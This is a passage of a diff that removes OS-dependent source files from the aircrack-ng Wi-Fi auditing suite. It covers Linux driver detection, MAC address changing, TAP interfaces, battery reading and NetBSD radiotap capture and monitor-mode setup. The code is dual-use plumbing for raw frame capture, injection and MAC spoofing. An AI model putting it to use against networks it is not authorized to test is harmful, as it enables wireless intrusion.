-#if 0 /* some people reported problems when prismheader is enabled */
-                memset( strbuf, 0, sizeof( strbuf ) );
-                snprintf( strbuf,  sizeof( strbuf ) - 1,
-                         "sysctl -w dev.%s.rawdev_type=1 >/dev/null 2>/dev/null",
-                         iface );
-                unused = system( strbuf );
-#endif
-
-                iface = athXraw;
-            }
-        }
-    }
-
-    /* test if orinoco */
-
-    if( memcmp( iface, "eth", 3 ) == 0 )
-    {
-        if( ( pid = fork() ) == 0 )
-        {
-            close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-            execlp( "iwpriv", "iwpriv", iface, "get_port3", NULL );
-            exit( 1 );
-        }
-
-        waitpid( pid, &n, 0 );
-
-        if( WIFEXITED(n) && WEXITSTATUS(n) == 0 )
-            dev->drivertype=DT_ORINOCO;
-
-        memset( strbuf, 0, sizeof( strbuf ) );
-        snprintf( strbuf,  sizeof( strbuf ) - 1,
-                  "iwpriv %s 2>/dev/null | "
-                  "grep get_scan_times >/dev/null",
-                  iface);
-
-        if( system( strbuf ) == 0 )
-            dev->drivertype=DT_AT76USB;
-    }
-
-    /* test if zd1211rw */
-
-    if( memcmp( iface, "eth", 3 ) == 0 )
-    {
-        if( ( pid = fork() ) == 0 )
-        {
-            close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" );
-            execlp( "iwpriv", "iwpriv", iface, "get_regdomain", NULL );
-            exit( 1 );
-        }
-
-        waitpid( pid, &n, 0 );
-
-        if( WIFEXITED(n) && WEXITSTATUS(n) == 0 )
-            dev->drivertype=DT_ZD1211RW;
-    }
-
-    if( dev->drivertype == DT_IPW2200 )
-    {
-        snprintf(r_file, sizeof(r_file),
-            "/sys/class/net/%s/device/rtap_iface", iface);
-        if ((acpi = fopen(r_file, "r")) == NULL)
-            goto close_out;
-        memset(buf, 0, 128);
-        unused_str = fgets(buf, 128, acpi);
-        buf[127]='\x00';
-        //rtap iface doesn't exist
-        if(strncmp(buf, "-1", 2) == 0)
-        {
-            //repoen for writing
-            fclose(acpi);
-            if ((acpi = fopen(r_file, "w")) == NULL)
-                goto close_out;
-            fputs("1", acpi);
-            //reopen for reading
-            fclose(acpi);
-            if ((acpi = fopen(r_file, "r")) == NULL)
-                goto close_out;
-            unused_str = fgets(buf, 128, acpi);
-        }
-        fclose(acpi);
-
-        //use name in buf as new iface and set original iface as main iface
-        dev->main_if = (char*) malloc(strlen(iface)+1);
-        memset(dev->main_if, 0, strlen(iface)+1);
-        strncpy(dev->main_if, iface, strlen(iface));
-
-        iface=(char*)malloc(strlen(buf)+1);
-        iface_malloced = 1;
-        memset(iface, 0, strlen(buf)+1);
-        strncpy(iface, buf, strlen(buf));
-    }
-
-    /* test if rtap interface and try to find real interface */
-    if( memcmp( iface, "rtap", 4) == 0 && dev->main_if == NULL)
-    {
-        memset( &ifr, 0, sizeof( ifr ) );
-        strncpy( ifr.ifr_name, iface, sizeof( ifr.ifr_name ) - 1 );
-
-        n = 0;
-
-        if( ioctl( dev->fd_out, SIOCGIFINDEX, &ifr ) < 0 )
-        {
-            //create rtap interface
-            n = 1;
-        }
-
-        net_ifaces = opendir("/sys/class/net");
-        if ( net_ifaces != NULL )
-        {
-            while (net_ifaces != NULL && ((this_iface = readdir(net_ifaces)) != NULL))
-            {
-                if (this_iface->d_name[0] == '.')
-                    continue;
-
-                snprintf(r_file, sizeof(r_file),
-                    "/sys/class/net/%s/device/rtap_iface", this_iface->d_name);
-                if ((acpi = fopen(r_file, "r")) == NULL)
-                    continue;
-                if (acpi != NULL)
-                {
-                    dev->drivertype = DT_IPW2200;
-
-                    memset(buf, 0, 128);
-                    unused_str = fgets(buf, 128, acpi);
-                    if(n==0) //interface exists
-                    {
-                        if (strncmp(buf, iface, 5) == 0)
-                        {
-                            fclose(acpi);
-                            if (net_ifaces != NULL)
-                            {
-                                closedir(net_ifaces);
-                                net_ifaces = NULL;
-                            }
-                            dev->main_if = (char*) malloc(strlen(this_iface->d_name)+1);
-                            strcpy(dev->main_if, this_iface->d_name);
-                            break;
-                        }
-                    }
-                    else //need to create interface
-                    {
-                        if (strncmp(buf, "-1", 2) == 0)
-                        {
-                            //repoen for writing
-                            fclose(acpi);
-                            if ((acpi = fopen(r_file, "w")) == NULL)
-                                continue;
-                            fputs("1", acpi);
-                            //reopen for reading
-                            fclose(acpi);
-                            if ((acpi = fopen(r_file, "r")) == NULL)
-                                continue;
-                            unused_str = fgets(buf, 128, acpi);
-                            if (strncmp(buf, iface, 5) == 0)
-                            {
-                                if (net_ifaces != NULL)
-                                {
-                                    closedir(net_ifaces);
-                                    net_ifaces = NULL;
-                                }
-                                dev->main_if = (char*) malloc(strlen(this_iface->d_name)+1);
-                                strcpy(dev->main_if, this_iface->d_name);
-                                fclose(acpi);
-                                break;
-                            }
-                        }
-                    }
-                    fclose(acpi);
-                }
-            }
-            if (net_ifaces != NULL)
-                closedir(net_ifaces);
-        }
-    }
-
-    if(0)
-    fprintf(stderr, "Interface %s -> driver: %s\n", iface,
-        szaDriverTypes[dev->drivertype]);
-
-    if (openraw(dev, iface, dev->fd_out, &dev->arptype_out, dev->pl_mac) != 0) {
-        goto close_out;
-    }
-
-    /* don't use the same file descriptor for in and out on bcm43xx,
-       as you read from the interface, but write into a file in /sys/...
-     */
-    if(!(dev->drivertype == DT_BCM43XX) && !(dev->drivertype == DT_IPW2200))
-        dev->fd_in = dev->fd_out;
-    else
-    {
-        /* if bcm43xx or ipw2200, swap both fds */
-        n=dev->fd_out;
-        dev->fd_out=dev->fd_in;
-        dev->fd_in=n;
-    }
-
-    dev->arptype_in = dev->arptype_out;
-
-    if(iface_malloced) free(iface);
-    return 0;
-close_out:
-    close(dev->fd_out);
-close_in:
-    close(dev->fd_in);
-    if(iface_malloced) free(iface);
-    if(iwpriv) free(iwpriv);
-    return 1;
-}
-
-static void do_free(struct wif *wi)
-{
-	struct priv_linux *pl = wi_priv(wi);
-
-        if(pl->wlanctlng)
-            free(pl->wlanctlng);
-
-        if(pl->iwpriv)
-            free(pl->iwpriv);
-
-        if(pl->iwconfig)
-            free(pl->iwconfig);
-
-        if(pl->ifconfig)
-            free(pl->ifconfig);
-
-        if(pl->wl)
-            free(pl->wl);
-
-	if(pl->main_if)
-            free(pl->main_if);
-
-	free(pl);
-	free(wi);
-}
-
-#ifndef CONFIG_LIBNL
-static void linux_close(struct wif *wi)
-{
-	struct priv_linux *pl = wi_priv(wi);
-
-	if (pl->fd_in)
-		close(pl->fd_in);
-	if (pl->fd_out)
-		close(pl->fd_out);
-	if (pl->fd_main)
-		close(pl->fd_main);
-
-	do_free(wi);
-}
-
-#else
-
-static void linux_close_nl80211(struct wif *wi)
-{
-	struct priv_linux *pl = wi_priv(wi);
-    nl80211_cleanup(&state);
-
-	if (pl->fd_in)
-		close(pl->fd_in);
-	if (pl->fd_out)
-		close(pl->fd_out);
-
-	do_free(wi);
-}
-#endif
-
-static int linux_fd(struct wif *wi)
-{
-	struct priv_linux *pl = wi_priv(wi);
-
-	return pl->fd_in;
-}
-
-static int linux_get_mac(struct wif *wi, unsigned char *mac)
-{
-	struct priv_linux *pl = wi_priv(wi);
-	struct ifreq ifr;
-	int fd;
-
-	fd = wi_fd(wi);
-	/* find the interface index */
-
-	/* ipw2200 got a file opened as fd  */
-	if(pl->drivertype == DT_IPW2200)
-	{
-		memcpy(mac, pl->pl_mac, 6);
-		return 0;
-	}
-
-	memset( &ifr, 0, sizeof( ifr ) );
-	strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 );
-
-	if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 )
-	{
-		printf("Interface %s: \n", wi_get_ifname(wi));
-		perror( "ioctl(SIOCGIFINDEX) failed" );
-		return( 1 );
-	}
-
-	if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 )
-	{
-		printf("Interface %s: \n", wi_get_ifname(wi));
-		perror( "ioctl(SIOCGIFHWADDR) failed" );
-		return( 1 );
-	}
-
-	memcpy( pl->pl_mac, (unsigned char*)ifr.ifr_hwaddr.sa_data, 6);
-
-	/* XXX */
-	memcpy(mac, pl->pl_mac, 6);
-	return 0;
-}
-
-static int linux_set_mac(struct wif *wi, unsigned char *mac)
-{
-	struct priv_linux *pl = wi_priv(wi);
-	struct ifreq ifr;
-	int fd, ret;
-
-	fd = wi_fd(wi);
-	/* find the interface index */
-
-	memset( &ifr, 0, sizeof( ifr ) );
-	strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 );
-
-	if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 )
-	{
-		printf("Interface %s: \n", wi_get_ifname(wi));
-		perror( "ioctl(SIOCGIFHWADDR) failed" );
-		return( 1 );
-	}
-
-//         if down
-        ifr.ifr_flags &= ~(IFF_UP | IFF_BROADCAST | IFF_RUNNING);
-
-        if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 )
-        {
-            perror( "ioctl(SIOCSIFFLAGS) failed" );
-            return( 1 );
-        }
-
- 	ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER;
-	memcpy(ifr.ifr_hwaddr.sa_data, mac, 6);
-	memcpy(pl->pl_mac, mac, 6);
-
-        //set mac
-        ret = ioctl(fd, SIOCSIFHWADDR, &ifr);
-
-        //if up
-        ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING;
-
-        if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 )
-        {
-            perror( "ioctl(SIOCSIFFLAGS) failed" );
-            return( 1 );
-        }
-
-        return ret;
-}
-
-static struct wif *linux_open(char *iface)
-{
-	struct wif *wi;
-	struct priv_linux *pl;
-
-	wi = wi_alloc(sizeof(*pl));
-	if (!wi)
-		return NULL;
-        wi->wi_read             = linux_read;
-        wi->wi_write            = linux_write;
-#ifdef CONFIG_LIBNL
-        linux_nl80211_init(&state);
-        wi->wi_set_channel      = linux_set_channel_nl80211;
-#else
-        wi->wi_set_channel      = linux_set_channel;
-#endif
-        wi->wi_get_channel      = linux_get_channel;
-        wi->wi_set_freq		= linux_set_freq;
-        wi->wi_get_freq		= linux_get_freq;
-#ifdef CONFIG_LIBNL
-        wi->wi_close            = linux_close_nl80211;
-#else
-        wi->wi_close            = linux_close;
-#endif
-	wi->wi_fd		= linux_fd;
-	wi->wi_get_mac		= linux_get_mac;
-	wi->wi_set_mac		= linux_set_mac;
-        wi->wi_get_monitor      = linux_get_monitor;
-	wi->wi_get_rate		= linux_get_rate;
-	wi->wi_set_rate		= linux_set_rate;
-	wi->wi_get_mtu		= linux_get_mtu;
-	wi->wi_set_mtu		= linux_set_mtu;
-
-
-	if (do_linux_open(wi, iface)) {
-		do_free(wi);
-		return NULL;
-	}
-
-	return wi;
-}
-
-struct wif *wi_open_osdep(char *iface)
-{
-        return linux_open(iface);
-}
-
-int get_battery_state(void)
-{
-    char buf[128];
-    int batteryTime = 0;
-    FILE *apm;
-    int flag;
-    char units[32];
-    int ret;
-    static int linux_apm = 1;
-    static int linux_acpi = 1;
-
-    if (linux_apm == 1)
-    {
-        char *battery_data = NULL;
-
-        if ((apm = fopen("/proc/apm", "r")) != NULL ) {
-            battery_data = fgets(buf, 128, apm);
-            fclose(apm);
-        }
-
-        if ( battery_data != NULL ) {
-            int charging, ac;
-
-            ret = sscanf(battery_data, "%*s %*d.%*d %*x %x %x %x %*d%% %d %s\n", &ac,
-                                                    &charging, &flag, &batteryTime, units);
-            if(!ret)
-                return 0;
-
-            if ((flag & 0x80) == 0 && charging != 0xFF && ac != 1 && batteryTime != -1) {
-                if (!strncmp(units, "min", 32))
-                    batteryTime *= 60;
-            }
-            else
-                return 0;
-            linux_acpi = 0;
-            return batteryTime;
-        }
-        linux_apm = 0;
-    }
-    if (linux_acpi && !linux_apm)
-    {
-        DIR *batteries, *ac_adapters;
-        struct dirent *this_battery, *this_adapter;
-        FILE *acpi, *info;
-        char battery_state[128];
-        char battery_info[128];
-        int rate = 1, remain = 0, current = 0;
-        static int total_remain = 0, total_cap = 0;
-        int batno = 0;
-        static int info_timer = 0;
-        int batt_full_capacity[3];
-        linux_apm=0;
-        linux_acpi=1;
-        ac_adapters = opendir("/proc/acpi/ac_adapter");
-        if ( ac_adapters == NULL )
-            return 0;
-
-        while (ac_adapters != NULL && ((this_adapter = readdir(ac_adapters)) != NULL)) {
-            if (this_adapter->d_name[0] == '.')
-                continue;
-            /* safe overloaded use of battery_state path var */
-            snprintf(battery_state, sizeof(battery_state),
-                "/proc/acpi/ac_adapter/%s/state", this_adapter->d_name);
-            if ((acpi = fopen(battery_state, "r")) == NULL)
-                continue;
-            if (acpi != NULL) {
-                while(fgets(buf, 128, acpi)) {
-                    if (strstr(buf, "on-line") != NULL) {
-                        fclose(acpi);
-                        if (ac_adapters != NULL)
-                            closedir(ac_adapters);
-                        return 0;
-                    }
-                }
-                fclose(acpi);
-            }
-        }
-        if (ac_adapters != NULL)
-            closedir(ac_adapters);
-
-        batteries = opendir("/proc/acpi/battery");
-
-        if (batteries == NULL) {
-            closedir(batteries);
-            return 0;
-        }
-
-        while (batteries != NULL && ((this_battery = readdir(batteries)) != NULL)) {
-            if (this_battery->d_name[0] == '.')
-                continue;
-
-            snprintf(battery_info, sizeof(battery_info), "/proc/acpi/battery/%s/info", this_battery->d_name);
-            info = fopen(battery_info, "r");
-            batt_full_capacity[batno] = 0;
-            if ( info != NULL ) {
-                while (fgets(buf, sizeof(buf), info) != NULL)
-                    if (sscanf(buf, "last full capacity:      %d mWh", &batt_full_capacity[batno]) == 1)
-                        continue;
-                fclose(info);
-            }
-
-
-            snprintf(battery_state, sizeof(battery_state),
-                "/proc/acpi/battery/%s/state", this_battery->d_name);
-            if ((acpi = fopen(battery_state, "r")) == NULL)
-                continue;
-            while (fgets(buf, 128, acpi)) {
-                if (strncmp(buf, "present:", 8 ) == 0) {
-                                /* No information for this battery */
-                    if (strstr(buf, "no" ))
-                        continue;
-                }
-                else if (strncmp(buf, "charging state:", 15) == 0) {
-                                /* the space makes it different than discharging */
-                    if (strstr(buf, " charging" )) {
-                        closedir(batteries);
-                        fclose( acpi );
-                        return 0;
-                    }
-                }
-                else if (strncmp(buf, "present rate:", 13) == 0)
-                    rate = atoi(buf + 25);
-                else if (strncmp(buf, "remaining capacity:", 19) == 0) {
-                    remain = atoi(buf + 25);
-                    total_remain += remain;
-                }
-                else if (strncmp(buf, "present voltage:", 17) == 0)
-                    current = atoi(buf + 25);
-            }
-            total_cap += batt_full_capacity[batno];
-            fclose(acpi);
-            batteryTime += (int) (( ((float)remain) /rate ) * 3600);
-            batno++;
-        }
-        info_timer++;
-
-        if (batteries != NULL)
-            closedir(batteries);
-    }
-    return batteryTime;
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/linux_tap.c Deleted

@@ -1,208 +0,0 @@
- /*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for Linux. TAP routines
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-  */
-
-#include <sys/socket.h>
-#include <sys/ioctl.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/time.h>
-#include <linux/if.h>
-#include <linux/if_ether.h>
-#include <netinet/in.h>
-#include <linux/if_tun.h>
-#include <net/if_arp.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-
-#include "osdep.h"
-
-struct tip_linux {
-	int		tl_fd;
-	struct ifreq	tl_ifr;
-	int		tl_ioctls;
-	char		tl_name[MAX_IFACE_NAME];
-};
-
-static int ti_do_open_linux(struct tif *ti, char *name)
-{
-    int fd_tap;
-    struct ifreq if_request;
-    struct tip_linux *priv = ti_priv(ti);
-
-    fd_tap = open( name ? name : "/dev/net/tun", O_RDWR );
-    if(fd_tap < 0 )
-    {
-        printf( "error opening tap device: %s\n", strerror( errno ) );
-        printf( "try \"modprobe tun\"\n");
-        return -1;
-    }
-
-    memset( &if_request, 0, sizeof( if_request ) );
-    if_request.ifr_flags = IFF_TAP | IFF_NO_PI;
-    strncpy( if_request.ifr_name, "at%d", IFNAMSIZ );
-    if( ioctl( fd_tap, TUNSETIFF, (void *)&if_request ) < 0 )
-    {
-        printf( "error creating tap interface: %s\n", strerror( errno ) );
-        close( fd_tap );
-        return -1;
-    }
-
-    strncpy( priv->tl_name, if_request.ifr_name, MAX_IFACE_NAME );
-    strncpy(priv->tl_ifr.ifr_name, priv->tl_name,
-    	    sizeof(priv->tl_ifr.ifr_name) - 1);
-
-    if ((priv->tl_ioctls = socket(PF_INET, SOCK_DGRAM, 0)) == -1) {
-        priv->tl_ioctls = 0;
-    	close(fd_tap);
-	return -1;
-    }
-
-    return fd_tap;
-}
-
-static void ti_do_free(struct tif *ti)
-{
-	struct tip_fbsd *priv = ti_priv(ti);
-
-	free(priv);
-	free(ti);
-}
-
-static void ti_close_linux(struct tif *ti)
-{
-	struct tip_linux *priv = ti_priv(ti);
-
-	close(priv->tl_fd);
-	close(priv->tl_ioctls);
-	ti_do_free(ti);
-}
-
-static char *ti_name_linux(struct tif *ti)
-{
-	struct tip_linux *priv = ti_priv(ti);
-
-	return priv->tl_name;
-}
-
-static int ti_set_mtu_linux(struct tif *ti, int mtu)
-{
-	struct tip_linux *priv = ti_priv(ti);
-
-	priv->tl_ifr.ifr_mtu = mtu;
-
-	return ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr);
-}
-
-static int ti_get_mtu_linux(struct tif *ti)
-{
-	int mtu;
-	struct tip_linux *priv = ti_priv(ti);
-
-	if (ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr) != -1){
-		mtu = priv->tl_ifr.ifr_mtu;
-	}
-	else{
-		mtu = 1500;	
-	}
-	
-	return mtu;
-}
-
-static int ti_set_mac_linux(struct tif *ti, unsigned char *mac)
-{
-	struct tip_linux *priv = ti_priv(ti);
-
-        memcpy(priv->tl_ifr.ifr_hwaddr.sa_data, mac, 6);
-	priv->tl_ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER;
-
-	return ioctl(priv->tl_ioctls, SIOCSIFHWADDR, &priv->tl_ifr);
-}
-
-static int ti_set_ip_linux(struct tif *ti, struct in_addr *ip)
-{
-        struct tip_linux *priv = ti_priv(ti);
-        struct sockaddr_in *s_in;
-
-        s_in = (struct sockaddr_in*) &priv->tl_ifr.ifr_addr;
-        s_in->sin_family = AF_INET;
-        s_in->sin_addr = *ip;
-
-        return ioctl(priv->tl_ioctls, SIOCSIFADDR, &priv->tl_ifr);
-}
-
-static int ti_fd_linux(struct tif *ti)
-{
-	struct tip_linux *priv = ti_priv(ti);
-
-	return priv->tl_fd;
-}
-
-static int ti_read_linux(struct tif *ti, void *buf, int len)
-{
-	return read(ti_fd(ti), buf, len);
-}
-
-static int ti_write_linux(struct tif *ti, void *buf, int len)
-{
-	return write(ti_fd(ti), buf, len);
-}
-
-static struct tif *ti_open_linux(char *iface)
-{
-	struct tif *ti;
-	struct tip_linux *priv;
-	int fd;
-
-	/* setup ti struct */
-	ti = ti_alloc(sizeof(*priv));
-	if (!ti)
-		return NULL;
-	ti->ti_name	= ti_name_linux;
-	ti->ti_set_mtu	= ti_set_mtu_linux;
-	ti->ti_get_mtu	= ti_get_mtu_linux;
-	ti->ti_close	= ti_close_linux;
-	ti->ti_fd	= ti_fd_linux;
-	ti->ti_read	= ti_read_linux;
-	ti->ti_write	= ti_write_linux;
-	ti->ti_set_mac	= ti_set_mac_linux;
-	ti->ti_set_ip	= ti_set_ip_linux;
-
-	/* setup iface */
-	fd = ti_do_open_linux(ti, iface);
-	if (fd == -1) {
-		ti_do_free(ti);
-		return NULL;
-	}
-
-	/* setup private state */
-	priv = ti_priv(ti);
-	priv->tl_fd = fd;
-
-	return ti;
-}
-
-struct tif *ti_open(char *iface)
-{
-	return ti_open_linux(iface);
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/netbsd.c Deleted

@@ -1,562 +0,0 @@
- /*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for NetBSD.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-  */
-
-#include <sys/types.h>
-#include <sys/endian.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <sys/param.h>
-#include <sys/sysctl.h>
-#include <net/bpf.h>
-#include <sys/socket.h>
-#include <net/if.h>
-#include <net/if_media.h>
-#include <sys/ioctl.h>
-#include <net/if_dl.h>
-#include <net80211/ieee80211.h>
-#include <net80211/ieee80211_crypto.h>
-#include <net80211/ieee80211_ioctl.h>
-#include <net80211/ieee80211_radiotap.h>
-#include <net80211/ieee80211_proto.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <sys/uio.h>
-#include <assert.h>
-#include <ifaddrs.h>
-
-#include "osdep.h"
-
-#ifndef IEEE80211_RADIOTAP_F_FCS
-#define IEEE80211_RADIOTAP_F_FCS	0x10	/* Frame includes FCS */
-#endif
-
-#ifndef IEEE80211_IOC_CHANNEL
-#define IEEE80211_IOC_CHANNEL	0
-#endif
-
-#ifndef le32toh
-#define le32toh(x)	htole32(x)
-#endif
-
-struct priv_nbsd {
-	/* iface */
-	int				pn_fd;
-
-	/* rx */
-	int				pn_nocrc;
-
-	/* tx */
-	unsigned char			pn_buf[4096];
-	unsigned char			*pn_next;
-	int				pn_totlen;
-
-	/* setchan */
-	int				pn_s;
-	struct ifreq			pn_ifr;
-	struct ieee80211chanreq		pn_ireq;
-        int                             pn_chan;
-};
-
-static void get_radiotap_info(struct priv_nbsd *pn,
-			      struct ieee80211_radiotap_header *rth, int *plen,
-			      struct rx_info *ri)
-{
-        uint32_t present;
-	uint8_t rflags = 0;
-	int i;
-	unsigned char *body = (unsigned char*) (rth+1);
-	int dbm_power = 0, db_power = 0;
-
-	/* reset control info */
-	if (ri)
-		memset(ri, 0, sizeof(*ri));
-
-       	/* get info */
-	present = le32toh(rth->it_present);
-	for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) {
-		if (!(present & (1 << i)))
-			continue;
-
-		switch (i) {
-		case IEEE80211_RADIOTAP_TSFT:
-			body += sizeof(uint64_t);
-			break;
-
-		case IEEE80211_RADIOTAP_FLAGS:
-			rflags = *((uint8_t*)body);
-			/* fall through */
-		case IEEE80211_RADIOTAP_RATE:
-			body += sizeof(uint8_t);
-			break;
-
-		case IEEE80211_RADIOTAP_CHANNEL:
-			if (ri) {
-				ri->ri_channel = 1;
-			}
-			body += sizeof(uint16_t)*2;
-			break;
-
-		case IEEE80211_RADIOTAP_FHSS:
-			body += sizeof(uint16_t);
-			break;
-
-		case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
-			dbm_power = *body++;
-			break;
-
-		case IEEE80211_RADIOTAP_DBM_ANTNOISE:
-			dbm_power -= *body++;
-			break;
-
-		case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
-			db_power = *body++;
-			break;
-
-		case IEEE80211_RADIOTAP_DB_ANTNOISE:
-			db_power -= *body++;
-			break;
-
-		default:
-			i = IEEE80211_RADIOTAP_EXT+1;
-			break;
-		}
-	}
-
-	/* set power */
-	if (ri) {
-		if (dbm_power)
-			ri->ri_power = dbm_power;
-		else
-			ri->ri_power = db_power;
-	}
-
-        /* XXX cache; drivers won't change this per-packet */
-        /* check if FCS/CRC is included in packet */
-        if (pn->pn_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
-                *plen -= IEEE80211_CRC_LEN;
-                pn->pn_nocrc = 1;
-        }
-}
-
-static unsigned char *get_80211(struct priv_nbsd *pn, int *plen,
-				struct rx_info *ri)
-{
-        struct bpf_hdr *bpfh;
-        struct ieee80211_radiotap_header *rth;
-        void *ptr;
-        unsigned char **data;
-	int *totlen;
-
-	data = &pn->pn_next;
-	totlen = &pn->pn_totlen;
-	assert(*totlen);
-
-        /* bpf hdr */
-        bpfh = (struct bpf_hdr*) (*data);
-        assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
-        *totlen -= bpfh->bh_hdrlen;
-
-        /* check if more packets */
-        if ((int)bpfh->bh_caplen < *totlen) {
-		int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
-		int offset = BPF_WORDALIGN(tot);
-
-                *data = (unsigned char*)bpfh + offset;
-		*totlen -= offset - tot; /* take into account align bytes */
-	} else if ((int)bpfh->bh_caplen > *totlen)
-		abort();
-
-        *plen = bpfh->bh_caplen;
-	*totlen -= bpfh->bh_caplen;
-	assert(*totlen >= 0);
-
-        /* radiotap */
-        rth = (struct ieee80211_radiotap_header*)
-              ((char*)bpfh + bpfh->bh_hdrlen);
-	get_radiotap_info(pn, rth, plen, ri);
-        *plen -= rth->it_len;
-	assert(*plen > 0);
-
-       	/* data */
-	ptr = (char*)rth + rth->it_len;
-
-        return ptr;
-}
-
-static int nbsd_get_channel(struct wif *wi)
-{
-	struct priv_nbsd *pn = wi_priv(wi);
-	struct ieee80211chanreq channel;
-
-	memset(&channel, 0, sizeof(channel));
-	strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
-
-	if(ioctl(pn->pn_s, SIOCG80211CHANNEL, (caddr_t)&channel) < 0) return -1;
-
-	return channel.i_channel;
-}
-
-static int nbsd_set_channel(struct wif *wi, int chan)
-{
-	struct priv_nbsd *pn = wi_priv(wi);
-	struct ieee80211chanreq channel;
-
-	memset(&channel, 0, sizeof(channel));
-	strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
-	channel.i_channel = chan;
-	if(ioctl(pn->pn_s, SIOCS80211CHANNEL, (caddr_t)&channel) < 0) return -1;
-	pn->pn_chan = chan;
-
-	return 0;
-}
-
-static int nbsd_read(struct wif *wi, unsigned char *h80211, int len,
-		     struct rx_info *ri)
-{
-	struct priv_nbsd *pn = wi_priv(wi);
-	unsigned char *wh;
-	int plen;
-
-	assert(len > 0);
-
-	/* need to read more */
-	if (pn->pn_totlen == 0) {
-		pn->pn_totlen = read(pn->pn_fd, pn->pn_buf, sizeof(pn->pn_buf));
-		if (pn->pn_totlen == -1) {
-			pn->pn_totlen = 0;
-			return -1;
-		}
-		pn->pn_next = pn->pn_buf;
-	}
-
-	/* read 802.11 packet */
-	wh = get_80211(pn, &plen, ri);
-	if (plen > len)
-		plen = len;
-	assert(plen > 0);
-	memcpy(h80211, wh, plen);
-
-        if(ri && !ri->ri_channel)
-            ri->ri_channel = wi_get_channel(wi);
-
-	return plen;
-}
-
-static int nbsd_write(struct wif *wi, unsigned char *h80211, int len,
-		      struct tx_info *ti)
-{
-	struct priv_nbsd *pn = wi_priv(wi);
-	int rc;
-
-	/* XXX make use of ti */
-	if (ti) {}
-
-	rc = write(pn->pn_fd, h80211, len);
-	if (rc == -1)
-		return rc;
-
-	return 0;
-}
-
-static void do_free(struct wif *wi)
-{
-	assert(wi->wi_priv);
-	free(wi->wi_priv);
-	wi->wi_priv = 0;
-	free(wi);
-}
-
-static void nbsd_close(struct wif *wi)
-{
-	struct priv_nbsd *pn = wi_priv(wi);
-
-	close(pn->pn_fd);
-	close(pn->pn_s);
-	do_free(wi);
-}
-
-static int do_nbsd_open(struct wif *wi, char *iface)
-{
-        int i;
-        char buf[64];
-        int fd = -1;
-        struct ifreq ifr;
-        unsigned int dlt = DLT_IEEE802_11_RADIO;
-        int s;
-        unsigned int flags;
-        struct ifmediareq ifmr;
-        int *mwords;
-	struct priv_nbsd *pn = wi_priv(wi);
-	unsigned int size=sizeof(pn->pn_buf);
-
-	/* basic sanity check */
-	if (strlen(iface) >= sizeof(ifr.ifr_name))
-		return -1;
-
-        /* open wifi */
-        s = socket(PF_INET, SOCK_DGRAM, 0);
-        if (s == -1)
-		return -1;
-	pn->pn_s = s;
-
-        /* set iface up and promisc */
-        memset(&ifr, 0, sizeof(ifr));
-        strncpy(ifr.ifr_name, iface, IFNAMSIZ);
-        if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1)
-		goto close_sock;
-
-        flags = ifr.ifr_flags;
-        flags |= IFF_UP | IFF_PROMISC;
-        memset(&ifr, 0, sizeof(ifr));
-        strncpy(ifr.ifr_name, iface, IFNAMSIZ);
-        ifr.ifr_flags = flags & 0xffff;
-        if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1)
-		goto close_sock;
-
-	/* monitor mode */
-        memset(&ifmr, 0, sizeof(ifmr));
-        strncpy(ifmr.ifm_name, iface, IFNAMSIZ);
-        if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1)
-		goto close_sock;
-
